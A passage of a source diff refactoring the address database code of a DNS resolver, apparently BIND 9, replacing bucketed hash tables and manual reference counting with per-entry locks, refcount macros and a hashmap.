  * namehook that will contain the next address this host has.
@@ -211,10 +209,13 @@ struct dns_adbfetch {
 struct dns_adbnamehook {
 	unsigned int magic;
 	dns_adbentry_t *entry;
-	ISC_LINK(dns_adbnamehook_t) plink;
+	ISC_LINK(dns_adbnamehook_t) name_link;
+	ISC_LINK(dns_adbnamehook_t) entry_link;
 };
 
 /*%
+ * dns_adblameinfo structure:
+ *
  * This is a small widget that holds qname-specific information about an
  * address.  Currently limited to lameness, but could just as easily be
  * extended to other types of information about zones.
@@ -230,26 +231,36 @@ struct dns_adblameinfo {
 };
 
 /*%
- * An address entry.  It holds quite a bit of information about addresses,
- * including edns state (in "flags"), rtt, and of course the address of
+ * dns_adbentry structure:
+ *
+ * This is the structure representing a nameserver address; it can be looked
+ * up via the adb->entries hash table. Also, each dns_adbnamehook and
+ * and dns_adbaddrinfo object will contain a pointer to one of these.
+ *
+ * The structure holds quite a bit of information about addresses,
+ * including edns state (in "flags"), RTT, and of course the address of
  * the host.
  */
 struct dns_adbentry {
 	unsigned int magic;
 
-	int lock_bucket;
-	unsigned int refcnt;
-	unsigned int nh;
+	dns_adb_t *adb;
+
+	isc_mutex_t lock;
+	isc_stdtime_t last_used;
+
+	isc_refcount_t references;
+	dns_adbnamehooklist_t nhs;
 
 	unsigned int flags;
 	unsigned int srtt;
-	uint16_t udpsize;
 	unsigned int completed;
 	unsigned int timeouts;
 	unsigned char plain;
 	unsigned char plainto;
 	unsigned char edns;
 	unsigned char ednsto;
+	uint16_t udpsize;
 
 	uint8_t mode;
 	atomic_uint_fast32_t quota;
@@ -267,50 +278,70 @@ struct dns_adbentry {
 	 * persist until that time.  This allows entries found
 	 * using dns_adb_findaddrinfo() to persist for a limited time
 	 * even though they are not necessarily associated with a
-	 * name.
+	 * entry.
 	 */
 
+	/* FIXME */
 	ISC_LIST(dns_adblameinfo_t) lameinfo;
-	ISC_LINK(dns_adbentry_t) plink;
+
+	ISC_LINK(dns_adbentry_t) link;
 };
 
+#if DNS_ADB_TRACE
+#define dns_adbentry_ref(ptr) \
+	dns_adbentry__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_adbentry_unref(ptr) \
+	dns_adbentry__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_adbentry_attach(ptr, ptrp) \
+	dns_adbentry__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_adbentry_detach(ptrp) \
+	dns_adbentry__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_adbentry);
+#else
+ISC_REFCOUNT_DECL(dns_adbentry);
+#endif
+
 /*
  * Internal functions (and prototypes).
  */
-static inline dns_adbname_t *
-new_adbname(dns_adb_t *, const dns_name_t *);
-static inline void
-free_adbname(dns_adb_t *, dns_adbname_t **);
-static inline dns_adbnamehook_t *
-new_adbnamehook(dns_adb_t *, dns_adbentry_t *);
-static inline void
-free_adbnamehook(dns_adb_t *, dns_adbnamehook_t **);
-static inline dns_adblameinfo_t *
+static dns_adbname_t *
+new_adbname(dns_adb_t *adb, const dns_name_t *, bool start_at_zone);
+static void
+destroy_adbname(dns_adbname_t *);
+static dns_adbnamehook_t *
+new_adbnamehook(dns_adb_t *adb);
+static void
+free_adbnamehook(dns_adb_t *adb, dns_adbnamehook_t **namehookp);
+static dns_adblameinfo_t *
 new_adblameinfo(dns_adb_t *, const dns_name_t *, dns_rdatatype_t);
-static inline void
+static void
 free_adblameinfo(dns_adb_t *, dns_adblameinfo_t **);
-static inline dns_adbentry_t *
-new_adbentry(dns_adb_t *);
-static inline void
-free_adbentry(dns_adb_t *, dns_adbentry_t **);
-static inline dns_adbfind_t *
-new_adbfind(dns_adb_t *);
-static inline bool
-free_adbfind(dns_adb_t *, dns_adbfind_t **);
-static inline dns_adbaddrinfo_t *
+static dns_adbentry_t *
+new_adbentry(dns_adb_t *adb, const isc_sockaddr_t *addr);
+static void
+destroy_adbentry(dns_adbentry_t *entry);
+static dns_adbfind_t *
+new_adbfind(dns_adb_t *, in_port_t);
+static void
+free_adbfind(dns_adbfind_t **);
+static dns_adbaddrinfo_t *
 new_adbaddrinfo(dns_adb_t *, dns_adbentry_t *, in_port_t);
-static inline dns_adbfetch_t *
+static dns_adbfetch_t *
 new_adbfetch(dns_adb_t *);
-static inline void
+static void
 free_adbfetch(dns_adb_t *, dns_adbfetch_t **);
-static inline dns_adbname_t *
-find_name_and_lock(dns_adb_t *, const dns_name_t *, unsigned int, int *);
-static inline dns_adbentry_t *
-find_entry_and_lock(dns_adb_t *, const isc_sockaddr_t *, int *, isc_stdtime_t);
 static void
-dump_adb(dns_adb_t *, FILE *, bool debug, isc_stdtime_t);
+purge_stale_names(dns_adb_t *adb, isc_stdtime_t now);
+static dns_adbname_t *
+get_attached_and_locked_name(dns_adb_t *, const dns_name_t *,
+			     bool start_at_zone, isc_stdtime_t now);
+static void
+purge_stale_entries(dns_adb_t *adb, isc_stdtime_t now);
+static dns_adbentry_t *
+get_attached_and_locked_entry(dns_adb_t *adb, isc_stdtime_t now,
+			      const isc_sockaddr_t *addr);
 static void
-print_dns_name(FILE *, const dns_name_t *);
+dump_adb(dns_adb_t *, FILE *, bool debug, isc_stdtime_t);
 static void
 print_namehook_list(FILE *, const char *legend, dns_adb_t *adb,
 		    dns_adbnamehooklist_t *list, bool debug, isc_stdtime_t now);
@@ -318,53 +349,35 @@ static void
 print_find_list(FILE *, dns_adbname_t *);
 static void
 print_fetch_list(FILE *, dns_adbname_t *);
-static inline bool
-dec_adb_irefcnt(dns_adb_t *);
-static inline void
-inc_adb_irefcnt(dns_adb_t *);
-static inline void
-inc_adb_erefcnt(dns_adb_t *);
-static inline void
-inc_entry_refcnt(dns_adb_t *, dns_adbentry_t *, bool);
-static inline bool
-dec_entry_refcnt(dns_adb_t *, bool, dns_adbentry_t *, bool);
-static inline void
-violate_locking_hierarchy(isc_mutex_t *, isc_mutex_t *);
-static bool
+static void
 clean_namehooks(dns_adb_t *, dns_adbnamehooklist_t *);
 static void
 clean_target(dns_adb_t *, dns_name_t *);
 static void
-clean_finds_at_name(dns_adbname_t *, isc_eventtype_t, unsigned int);
+clean_finds_at_name(dns_adbname_t *, dns_adbstatus_t, unsigned int);
+static void
+maybe_expire_namehooks(dns_adbname_t *, isc_stdtime_t);
+static bool
+maybe_expire_name(dns_adbname_t *adbname, isc_stdtime_t now);
+static void
+expire_name(dns_adbname_t *adbname, dns_adbstatus_t astat);
 static bool
-check_expire_namehooks(dns_adbname_t *, isc_stdtime_t);
+entry_expired(dns_adbentry_t *adbentry, isc_stdtime_t now);
 static bool
-check_expire_entry(dns_adb_t *, dns_adbentry_t **, isc_stdtime_t);
+maybe_expire_entry(dns_adbentry_t *adbentry, isc_stdtime_t now);
 static void
-cancel_fetches_at_name(dns_adbname_t *);
+expire_entry(dns_adbentry_t *adbentry);
 static isc_result_t
 dbfind_name(dns_adbname_t *, isc_stdtime_t, dns_rdatatype_t);
 static isc_result_t
 fetch_name(dns_adbname_t *, bool, unsigned int, isc_counter_t *qc,
 	   dns_rdatatype_t);
-static inline void
-check_exit(dns_adb_t *);
 static void
 destroy(dns_adb_t *);
-static bool
+static void
 shutdown_names(dns_adb_t *);
-static bool
+static void
 shutdown_entries(dns_adb_t *);
-static inline void
-link_name(dns_adb_t *, int, dns_adbname_t *);
-static inline bool
-unlink_name(dns_adb_t *, dns_adbname_t *);
-static inline void
-link_entry(dns_adb_t *, int, dns_adbentry_t *);
-static inline bool
-unlink_entry(dns_adb_t *, dns_adbentry_t *);
-static bool
-kill_name(dns_adbname_t **, isc_eventtype_t);
 static void
 water(void *, int);
 static void
@@ -373,54 +386,61 @@ static void
 adjustsrtt(dns_adbaddrinfo_t *addr, unsigned int rtt, unsigned int factor,
 	   isc_stdtime_t now);
 static void
-shutdown_task(isc_task_t *task, isc_event_t *ev);
-static void
 log_quota(dns_adbentry_t *entry, const char *fmt, ...) ISC_FORMAT_PRINTF(2, 3);
 
+static bool
+adbentry_overquota(dns_adbentry_t *entry);
+
+/*
+ * Private flag(s) for adbfind objects. These are used internally and
+ * are not meant to be seen or used by the caller; however, we use the
+ * same flags field as for DNS_ADBFIND_xxx flags, so we must be careful
+ * that there is no overlap between these values and those. To make it
+ * easier, we will number these starting from the most significant bit
+ * instead of the least significant.
+ */
+enum {
+	FIND_EVENT_SENT = 1 << 31,
+};
+#define FIND_EVENTSENT(h) (((h)->flags & FIND_EVENT_SENT) != 0)
+
 /*
- * MUST NOT overlap DNS_ADBFIND_* flags!
+ * Private flag(s) for adbname objects.
  */
-#define FIND_EVENT_SENT	   0x40000000
-#define FIND_EVENT_FREED   0x80000000
-#define FIND_EVENTSENT(h)  (((h)->flags & FIND_EVENT_SENT) != 0)
-#define FIND_EVENTFREED(h) (((h)->flags & FIND_EVENT_FREED) != 0)
-
-#define NAME_NEEDS_POKE	  0x80000000
-#define NAME_IS_DEAD	  0x40000000
-#define NAME_HINT_OK	  DNS_ADBFIND_HINTOK
-#define NAME_GLUE_OK	  DNS_ADBFIND_GLUEOK
-#define NAME_STARTATZONE  DNS_ADBFIND_STARTATZONE
-#define NAME_DEAD(n)	  (((n)->flags & NAME_IS_DEAD) != 0)
-#define NAME_NEEDSPOKE(n) (((n)->flags & NAME_NEEDS_POKE) != 0)
-#define NAME_GLUEOK(n)	  (((n)->flags & NAME_GLUE_OK) != 0)
-#define NAME_HINTOK(n)	  (((n)->flags & NAME_HINT_OK) != 0)
+enum {
+	NAME_IS_DEAD = 1 << 31,
+};
+#define NAME_DEAD(n) (((n)->flags & NAME_IS_DEAD) != 0)
 
 /*
- * Private flag(s) for entries.
- * MUST NOT overlap FCTX_ADDRINFO_xxx and DNS_FETCHOPT_NOEDNS0.
+ * Private flag(s) for adbentry objects.  Note that these will also
+ * be used for addrinfo flags, and in resolver.c we'll use the same
+ * field for FCTX_ADDRINFO_xxx flags to store information about remote
+ * servers, so we must be careful that there is no overlap between
+ * these values and those. To make it easier, we will number these
+ * starting from the most significant bit instead of the least
+ * significant.
  */
-#define ENTRY_IS_DEAD 0x00400000
+enum {
+	ENTRY_IS_DEAD = 1 << 31,
+};
+#define ENTRY_DEAD(e) (((e)->flags & ENTRY_IS_DEAD) != 0)
 
 /*
  * To the name, address classes are all that really exist.  If it has a
  * V6 address it doesn't care if it came from a AAAA query.
  */
-#define NAME_HAS_V4(n)	  (!ISC_LIST_EMPTY((n)->v4))
-#define NAME_HAS_V6(n)	  (!ISC_LIST_EMPTY((n)->v6))
-#define NAME_HAS_ADDRS(n) (NAME_HAS_V4(n) || NAME_HAS_V6(n))
+#define NAME_HAS_V4(n) (!ISC_LIST_EMPTY((n)->v4))
+#define NAME_HAS_V6(n) (!ISC_LIST_EMPTY((n)->v6))
 
 /*
  * Fetches are broken out into A and AAAA types.  In some cases,
  * however, it makes more sense to test for a particular class of fetches,
  * like V4 or V6 above.
- * Note: since we have removed the support of A6 in adb, FETCH_A and FETCH_AAAA
- * are now equal to FETCH_V4 and FETCH_V6, respectively.
  */
 #define NAME_FETCH_A(n)	   ((n)->fetch_a != NULL)
 #define NAME_FETCH_AAAA(n) ((n)->fetch_aaaa != NULL)
-#define NAME_FETCH_V4(n)   (NAME_FETCH_A(n))
-#define NAME_FETCH_V6(n)   (NAME_FETCH_AAAA(n))
-#define NAME_FETCH(n)	   (NAME_FETCH_V4(n) || NAME_FETCH_V6(n))
+#define NAME_FETCH(n)	   (NAME_FETCH_A(n) || NAME_FETCH_AAAA(n))
 
 /*
  * Find options and tests to see if there are addresses on the list.
@@ -429,8 +449,6 @@ log_quota(dns_adbentry_t *entry, const char *fmt, ...) ISC_FORMAT_PRINTF(2, 3);
 #define FIND_WANTEMPTYEVENT(fn) (((fn)->options & DNS_ADBFIND_EMPTYEVENT) != 0)
 #define FIND_AVOIDFETCHES(fn)	(((fn)->options & DNS_ADBFIND_AVOIDFETCHES) != 0)
 #define FIND_STARTATZONE(fn)	(((fn)->options & DNS_ADBFIND_STARTATZONE) != 0)
-#define FIND_HINTOK(fn)		(((fn)->options & DNS_ADBFIND_HINTOK) != 0)
-#define FIND_GLUEOK(fn)		(((fn)->options & DNS_ADBFIND_GLUEOK) != 0)
 #define FIND_HAS_ADDRS(fn)	(!ISC_LIST_EMPTY((fn)->list))
 #define FIND_RETURNLAME(fn)	(((fn)->options & DNS_ADBFIND_RETURNLAME) != 0)
 #define FIND_NOFETCH(fn)	(((fn)->options & DNS_ADBFIND_NOFETCH) != 0)
@@ -449,14 +467,11 @@ log_quota(dns_adbentry_t *entry, const char *fmt, ...) ISC_FORMAT_PRINTF(2, 3);
  * glue, and compare this to the appropriate bits set in o, to see if
  * this is ok.
  */
-#define GLUE_OK(nf, o)	   (!NAME_GLUEOK(nf) || (((o)&DNS_ADBFIND_GLUEOK) != 0))
-#define HINT_OK(nf, o)	   (!NAME_HINTOK(nf) || (((o)&DNS_ADBFIND_HINTOK) != 0))
-#define GLUEHINT_OK(nf, o) (GLUE_OK(nf, o) || HINT_OK(nf, o))
-#define STARTATZONE_MATCHES(nf, o) \
-	(((nf)->flags & NAME_STARTATZONE) == ((o)&DNS_ADBFIND_STARTATZONE))
+#define STARTATZONE_MATCHES(nf, o)                  \
+	(((nf)->flags & DNS_ADBFIND_STARTATZONE) == \
+	 ((o)&DNS_ADBFIND_STARTATZONE))
 
 #define ENTER_LEVEL  ISC_LOG_DEBUG(50)
-#define EXIT_LEVEL   ENTER_LEVEL
 #define CLEAN_LEVEL  ISC_LOG_DEBUG(100)
 #define DEF_LEVEL    ISC_LOG_DEBUG(5)
 #define NCACHE_LEVEL ISC_LOG_DEBUG(20)
@@ -464,32 +479,25 @@ log_quota(dns_adbentry_t *entry, const char *fmt, ...) ISC_FORMAT_PRINTF(2, 3);
 #define NCACHE_RESULT(r) \
 	((r) == DNS_R_NCACHENXDOMAIN || (r) == DNS_R_NCACHENXRRSET)
 #define AUTH_NX(r) ((r) == DNS_R_NXDOMAIN || (r) == DNS_R_NXRRSET)
-#define NXDOMAIN_RESULT(r) \
-	((r) == DNS_R_NXDOMAIN || (r) == DNS_R_NCACHENXDOMAIN)
-#define NXRRSET_RESULT(r)                                      \
-	((r) == DNS_R_NCACHENXRRSET || (r) == DNS_R_NXRRSET || \
-	 (r) == DNS_R_HINTNXRRSET)
 
 /*
- * Error state rankings.
+ * Error states.
  */
-
-#define FIND_ERR_SUCCESS    0 /* highest rank */
-#define FIND_ERR_CANCELED   1
-#define FIND_ERR_FAILURE    2
-#define FIND_ERR_NXDOMAIN   3
-#define FIND_ERR_NXRRSET    4
-#define FIND_ERR_UNEXPECTED 5
-#define FIND_ERR_NOTFOUND   6
-#define FIND_ERR_MAX	    7
+enum {
+	FIND_ERR_SUCCESS = 0,
+	FIND_ERR_CANCELED,
+	FIND_ERR_FAILURE,
+	FIND_ERR_NXDOMAIN,
+	FIND_ERR_NXRRSET,
+	FIND_ERR_UNEXPECTED,
+	FIND_ERR_NOTFOUND,
+};
 
 static const char *errnames[] = { "success",  "canceled", "failure",
 				  "nxdomain", "nxrrset",  "unexpected",
 				  "not_found" };
 
-#define NEWERR(old, new) (ISC_MIN((old), (new)))
-
-static isc_result_t find_err_map[FIND_ERR_MAX] = {
+static isc_result_t find_err_map[] = {
 	ISC_R_SUCCESS, ISC_R_CANCELED,	 ISC_R_FAILURE, DNS_R_NXDOMAIN,
 	DNS_R_NXRRSET, ISC_R_UNEXPECTED, ISC_R_NOTFOUND /* not YET found */
 };
@@ -510,38 +518,38 @@ DP(int level, const char *format, ...) {
 /*%
  * Increment resolver-related statistics counters.
  */
-static inline void
-inc_stats(dns_adb_t *adb, isc_statscounter_t counter) {
-	if (adb->view->resstats != NULL) {
-		isc_stats_increment(adb->view->resstats, counter);
+static void
+inc_resstats(dns_adb_t *adb, isc_statscounter_t counter) {
+	if (adb->res != NULL) {
+		dns_resolver_incstats(adb->res, counter);
 	}
 }
 
 /*%
  * Set adb-related statistics counters.
  */
-static inline void
+static void
 set_adbstat(dns_adb_t *adb, uint64_t val, isc_statscounter_t counter) {
-	if (adb->view->adbstats != NULL) {
-		isc_stats_set(adb->view->adbstats, val, counter);
+	if (adb->stats != NULL) {
+		isc_stats_set(adb->stats, val, counter);
 	}
 }
 
-static inline void
+static void
 dec_adbstats(dns_adb_t *adb, isc_statscounter_t counter) {
-	if (adb->view->adbstats != NULL) {
-		isc_stats_decrement(adb->view->adbstats, counter);
+	if (adb->stats != NULL) {
+		isc_stats_decrement(adb->stats, counter);
 	}
 }
 
-static inline void
+static void
 inc_adbstats(dns_adb_t *adb, isc_statscounter_t counter) {
-	if (adb->view->adbstats != NULL) {
-		isc_stats_increment(adb->view->adbstats, counter);
+	if (adb->stats != NULL) {
+		isc_stats_increment(adb->stats, counter);
 	}
 }
 
-static inline dns_ttl_t
+static dns_ttl_t
 ttlclamp(dns_ttl_t ttl) {
 	if (ttl < ADB_CACHE_MINIMUM) {
 		ttl = ADB_CACHE_MINIMUM;
@@ -554,882 +562,285 @@ ttlclamp(dns_ttl_t ttl) {
 }
 
 /*
- * Hashing is most efficient if the number of buckets is prime.
- * The sequence below is the closest previous primes to 2^n and
- * 1.5 * 2^n, for values of n from 10 to 28.  (The tables will
- * no longer grow beyond 2^28 entries.)
+ * Requires the name to be locked and that no entries to be locked.
+ *
+ * This code handles A and AAAA rdatasets only.
  */
-static const unsigned nbuckets[] = {
-	1021,	   1531,     2039,     3067,	  4093,	     6143,
-	8191,	   12281,    16381,    24571,	  32749,     49193,
-	65521,	   98299,    131071,   199603,	  262139,    393209,
-	524287,	   768431,   1048573,  1572853,	  2097143,   3145721,
-	4194301,   6291449,  8388593,  12582893,  16777213,  25165813,
-	33554393,  50331599, 67108859, 100663291, 134217689, 201326557,
-	268535431, 0
-};
-
-static void
-grow_entries(isc_task_t *task, isc_event_t *ev) {
-	dns_adb_t *adb;
-	dns_adbentry_t *e;
-	dns_adbentrylist_t *newdeadentries = NULL;
-	dns_adbentrylist_t *newentries = NULL;
-	bool *newentry_sd = NULL;
-	isc_mutex_t *newentrylocks = NULL;
+static isc_result_t
+import_rdataset(dns_adbname_t *adbname, dns_rdataset_t *rdataset,
+		isc_stdtime_t now) {
 	isc_result_t result;
-	unsigned int *newentry_refcnt = NULL;
-	unsigned int i, n, bucket;
+	dns_adb_t *adb = NULL;
+	dns_rdatatype_t rdtype;
 
-	adb = ev->ev_arg;
-	INSIST(DNS_ADB_VALID(adb));
+	REQUIRE(DNS_ADBNAME_VALID(adbname));
 
-	isc_event_free(&ev);
+	adb = adbname->adb;
 
-	result = isc_task_beginexclusive(task);
-	if (result != ISC_R_SUCCESS) {
-		goto check_exit;
-	}
+	REQUIRE(DNS_ADB_VALID(adb));
 
-	i = 0;
-	while (nbuckets[i] != 0 && adb->nentries >= nbuckets[i]) {
-		i++;
-	}
-	if (nbuckets[i] != 0) {
-		n = nbuckets[i];
-	} else {
-		goto done;
-	}
+	rdtype = rdataset->type;
 
-	DP(ISC_LOG_INFO, "adb: grow_entries to %u starting", n);
+	REQUIRE(rdtype == dns_rdatatype_a || rdtype == dns_rdatatype_aaaa);
 
-	/*
-	 * Are we shutting down?
-	 */
-	for (i = 0; i < adb->nentries; i++) {
-		if (adb->entry_sd[i]) {
-			goto cleanup;
+	for (result = dns_rdataset_first(rdataset); result == ISC_R_SUCCESS;
+	     result = dns_rdataset_next(rdataset))
+	{
+		/* FIXME: Move to a separate function */
+		dns_adbnamehooklist_t *hookhead = NULL;
+		dns_adbentry_t *entry = NULL;
+		dns_adbnamehook_t *nh = NULL;
+		dns_rdata_t rdata = DNS_RDATA_INIT;
+		isc_sockaddr_t sockaddr;
+		struct in_addr ina;
+		struct in6_addr in6a;
 
-			/*
-			 * Grab all the resources we need.
-			 */
+		dns_rdataset_current(rdataset, &rdata);
+		switch (rdtype) {
+		case dns_rdatatype_a:
+			INSIST(rdata.length == 4);
+			memmove(&ina.s_addr, rdata.data, 4);
+			isc_sockaddr_fromin(&sockaddr, &ina, 0);
+			hookhead = &adbname->v4;
+			break;
+		case dns_rdatatype_aaaa:
+			INSIST(rdata.length == 16);
+			memmove(in6a.s6_addr, rdata.data, 16);
+			isc_sockaddr_fromin6(&sockaddr, &in6a, 0);
+			hookhead = &adbname->v6;
+			break;
+		default:
+			UNREACHABLE();
 		}
-	}
-
-	/*
-	 * Grab all the resources we need.
-	 */
-	newentries = isc_mem_get(adb->mctx, sizeof(*newentries) * n);
-	newdeadentries = isc_mem_get(adb->mctx, sizeof(*newdeadentries) * n);
-	newentrylocks = isc_mem_get(adb->mctx, sizeof(*newentrylocks) * n);
-	newentry_sd = isc_mem_get(adb->mctx, sizeof(*newentry_sd) * n);
-	newentry_refcnt = isc_mem_get(adb->mctx, sizeof(*newentry_refcnt) * n);
-	if (newentries == NULL || newdeadentries == NULL ||
-	    newentrylocks == NULL || newentry_sd == NULL ||
-	    newentry_refcnt == NULL)
-	{
-		goto cleanup;
-	}
 
-	/*
-	 * Initialise the new resources.
-	 */
-	isc_mutexblock_init(newentrylocks, n);
+	again:
+		entry = get_attached_and_locked_entry(adb, now, &sockaddr);
 
-	for (i = 0; i < n; i++) {
-		ISC_LIST_INIT(newentries[i]);
-		ISC_LIST_INIT(newdeadentries[i]);
-		newentry_sd[i] = false;
-		newentry_refcnt[i] = 0;
-		adb->irefcnt++;
-	}
+		if (ENTRY_DEAD(entry)) {
+			UNLOCK(&entry->lock);
+			dns_adbentry_detach(&entry);
+			goto again;
+		}
 
-	/*
-	 * Move entries to new arrays.
-	 */
-	for (i = 0; i < adb->nentries; i++) {
-		e = ISC_LIST_HEAD(adb->entries[i]);
-		while (e != NULL) {
-			ISC_LIST_UNLINK(adb->entries[i], e, plink);
-			bucket = isc_sockaddr_hash(&e->sockaddr, true) % n;
-			e->lock_bucket = bucket;
-			ISC_LIST_APPEND(newentries[bucket], e, plink);
-			INSIST(adb->entry_refcnt[i] > 0);
-			adb->entry_refcnt[i]--;
-			newentry_refcnt[bucket]++;
-			e = ISC_LIST_HEAD(adb->entries[i]);
+		dns_adbnamehook_t *anh = NULL;
+		for (anh = ISC_LIST_HEAD(*hookhead); anh != NULL;
+		     anh = ISC_LIST_NEXT(anh, name_link))
+		{
+			if (anh->entry == entry) {
+				break;
+			}
 		}
-		e = ISC_LIST_HEAD(adb->deadentries[i]);
-		while (e != NULL) {
-			ISC_LIST_UNLINK(adb->deadentries[i], e, plink);
-			bucket = isc_sockaddr_hash(&e->sockaddr, true) % n;
-			e->lock_bucket = bucket;
-			ISC_LIST_APPEND(newdeadentries[bucket], e, plink);
-			INSIST(adb->entry_refcnt[i] > 0);
-			adb->entry_refcnt[i]--;
-			newentry_refcnt[bucket]++;
-			e = ISC_LIST_HEAD(adb->deadentries[i]);
+		if (anh == NULL) {
+			nh = new_adbnamehook(adb);
+			dns_adbentry_attach(entry, &nh->entry);
+			ISC_LIST_APPEND(*hookhead, nh, name_link);
+			ISC_LIST_APPEND(entry->nhs, nh, entry_link);
 		}
-		INSIST(adb->entry_refcnt[i] == 0);
-		adb->irefcnt--;
-	}
-
-	/*
-	 * Cleanup old resources.
-	 */
-	isc_mutexblock_destroy(adb->entrylocks, adb->nentries);
-	isc_mem_put(adb->mctx, adb->entries,
-		    sizeof(*adb->entries) * adb->nentries);
-	isc_mem_put(adb->mctx, adb->deadentries,
-		    sizeof(*adb->deadentries) * adb->nentries);
-	isc_mem_put(adb->mctx, adb->entrylocks,
-		    sizeof(*adb->entrylocks) * adb->nentries);
-	isc_mem_put(adb->mctx, adb->entry_sd,
-		    sizeof(*adb->entry_sd) * adb->nentries);
-	isc_mem_put(adb->mctx, adb->entry_refcnt,
-		    sizeof(*adb->entry_refcnt) * adb->nentries);
-
-	/*
-	 * Install new resources.
-	 */
-	adb->entries = newentries;
-	adb->deadentries = newdeadentries;
-	adb->entrylocks = newentrylocks;
-	adb->entry_sd = newentry_sd;
-	adb->entry_refcnt = newentry_refcnt;
-	adb->nentries = n;
-
-	set_adbstat(adb, adb->nentries, dns_adbstats_nentries);
-
-	/*
-	 * Only on success do we set adb->growentries_sent to false.
-	 * This will prevent us being continuously being called on error.
-	 */
-	adb->growentries_sent = false;
-	goto done;
-
-cleanup:
-	if (newentries != NULL) {
-		isc_mem_put(adb->mctx, newentries, sizeof(*newentries) * n);
-	}
-	if (newdeadentries != NULL) {
-		isc_mem_put(adb->mctx, newdeadentries,
-			    sizeof(*newdeadentries) * n);
-	}
-	if (newentrylocks != NULL) {
-		isc_mem_put(adb->mctx, newentrylocks,
-			    sizeof(*newentrylocks) * n);
+		UNLOCK(&entry->lock);
+		dns_adbentry_detach(&entry);
 	}
-	if (newentry_sd != NULL) {
-		isc_mem_put(adb->mctx, newentry_sd, sizeof(*newentry_sd) * n);
+	if (result == ISC_R_NOMORE) {
+		result = ISC_R_SUCCESS;
 	}
-	if (newentry_refcnt != NULL) {
-		isc_mem_put(adb->mctx, newentry_refcnt,
-			    sizeof(*newentry_refcnt) * n);
+	INSIST(result == ISC_R_SUCCESS);
+
+	switch (rdataset->trust) {
+	case dns_trust_glue:
+	case dns_trust_additional:
+		rdataset->ttl = ADB_CACHE_MINIMUM;
+		break;
+	case dns_trust_ultimate:
+		rdataset->ttl = 0;
+		break;
+	default:
+		rdataset->ttl = ttlclamp(rdataset->ttl);
 	}
-done:
-	isc_task_endexclusive(task);
 
-check_exit:
-	LOCK(&adb->lock);
-	if (dec_adb_irefcnt(adb)) {
-		check_exit(adb);
+	switch (rdtype) {
+	case dns_rdatatype_a:
+		DP(NCACHE_LEVEL,
+		   "expire_v4 set to MIN(%u,%u,%u) import_rdataset",
+		   adbname->expire_v4, now + ADB_ENTRY_WINDOW,
+		   now + rdataset->ttl);
+		adbname->expire_v4 = ISC_MIN(
+			adbname->expire_v4,
+			ISC_MIN(now + ADB_ENTRY_WINDOW, now + rdataset->ttl));
+		break;
+	case dns_rdatatype_aaaa:
+		DP(NCACHE_LEVEL,
+		   "expire_v6 set to MIN(%u,%u,%u) import_rdataset",
+		   adbname->expire_v6, now + ADB_ENTRY_WINDOW,
+		   now + rdataset->ttl);
+		adbname->expire_v6 = ISC_MIN(
+			adbname->expire_v6,
+			ISC_MIN(now + ADB_ENTRY_WINDOW, now + rdataset->ttl));
+		break;
+	default:
+		UNREACHABLE();
 	}
-	UNLOCK(&adb->lock);
-	DP(ISC_LOG_INFO, "adb: grow_entries finished");
+
+	return (ISC_R_SUCCESS);
 }
 
+/*
+ * Requires the name to be locked.
+ */
 static void
-grow_names(isc_task_t *task, isc_event_t *ev) {
-	dns_adb_t *adb;
-	dns_adbname_t *name;
-	dns_adbnamelist_t *newdeadnames = NULL;
-	dns_adbnamelist_t *newnames = NULL;
-	bool *newname_sd = NULL;
-	isc_mutex_t *newnamelocks = NULL;
+expire_name(dns_adbname_t *adbname, dns_adbstatus_t astat) {
 	isc_result_t result;
-	unsigned int *newname_refcnt = NULL;
-	unsigned int i, n;
-	unsigned int bucket;
 
-	adb = ev->ev_arg;
-	INSIST(DNS_ADB_VALID(adb));
+	REQUIRE(DNS_ADBNAME_VALID(adbname));
 
-	isc_event_free(&ev);
+	dns_adb_t *adb = adbname->adb;
 
-	result = isc_task_beginexclusive(task);
-	if (result != ISC_R_SUCCESS) {
-		goto check_exit;
-	}
-
-	i = 0;
-	while (nbuckets[i] != 0 && adb->nnames >= nbuckets[i]) {
-		i++;
-	}
-	if (nbuckets[i] != 0) {
-		n = nbuckets[i];
-	} else {
-		goto done;
-	}
+	REQUIRE(DNS_ADB_VALID(adb));
 
-	DP(ISC_LOG_INFO, "adb: grow_names to %u starting", n);
+	DP(DEF_LEVEL, "killing name %p", adbname);
 
 	/*
-	 * Are we shutting down?
+	 * Clean up the name's various contents.  These functions
+	 * are destructive in that they will always empty the lists
+	 * of finds and namehooks.
 	 */
-	for (i = 0; i < adb->nnames; i++) {
-		if (adb->name_sd[i]) {
-			goto cleanup;
+	clean_finds_at_name(adbname, astat, DNS_ADBFIND_ADDRESSMASK);
+	clean_namehooks(adb, &adbname->v4);
+	clean_namehooks(adb, &adbname->v6);
+	clean_target(adb, &adbname->target);
 
-			/*
-			 * Grab all the resources we need.
-			 */
-		}
+	if (NAME_FETCH_A(adbname)) {
+		dns_resolver_cancelfetch(adbname->fetch_a->fetch);
 	}
 
-	/*
-	 * Grab all the resources we need.
-	 */
-	newnames = isc_mem_get(adb->mctx, sizeof(*newnames) * n);
-	newdeadnames = isc_mem_get(adb->mctx, sizeof(*newdeadnames) * n);
-	newnamelocks = isc_mem_get(adb->mctx, sizeof(*newnamelocks) * n);
-	newname_sd = isc_mem_get(adb->mctx, sizeof(*newname_sd) * n);
-	newname_refcnt = isc_mem_get(adb->mctx, sizeof(*newname_refcnt) * n);
-	if (newnames == NULL || newdeadnames == NULL || newnamelocks == NULL ||
-	    newname_sd == NULL || newname_refcnt == NULL)
-	{
-		goto cleanup;
+	if (NAME_FETCH_AAAA(adbname)) {
+		dns_resolver_cancelfetch(adbname->fetch_aaaa->fetch);
 	}
 
+	adbname->flags |= NAME_IS_DEAD;
+
 	/*
-	 * Initialise the new resources.
+	 * Remove the adbname from the hashtable...
 	 */
-	isc_mutexblock_init(newnamelocks, n);
+	result = isc_hashmap_delete(adb->names, NULL, &adbname->key.key,
+				    adbname->key.size);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	/* ... and LRU list */
+	ISC_LIST_UNLINK(adb->names_lru, adbname, link);
 
-	for (i = 0; i < n; i++) {
-		ISC_LIST_INIT(newnames[i]);
-		ISC_LIST_INIT(newdeadnames[i]);
-		newname_sd[i] = false;
-		newname_refcnt[i] = 0;
-		adb->irefcnt++;
-	}
+	dns_adbname_unref(adbname);
+}
+
+/*
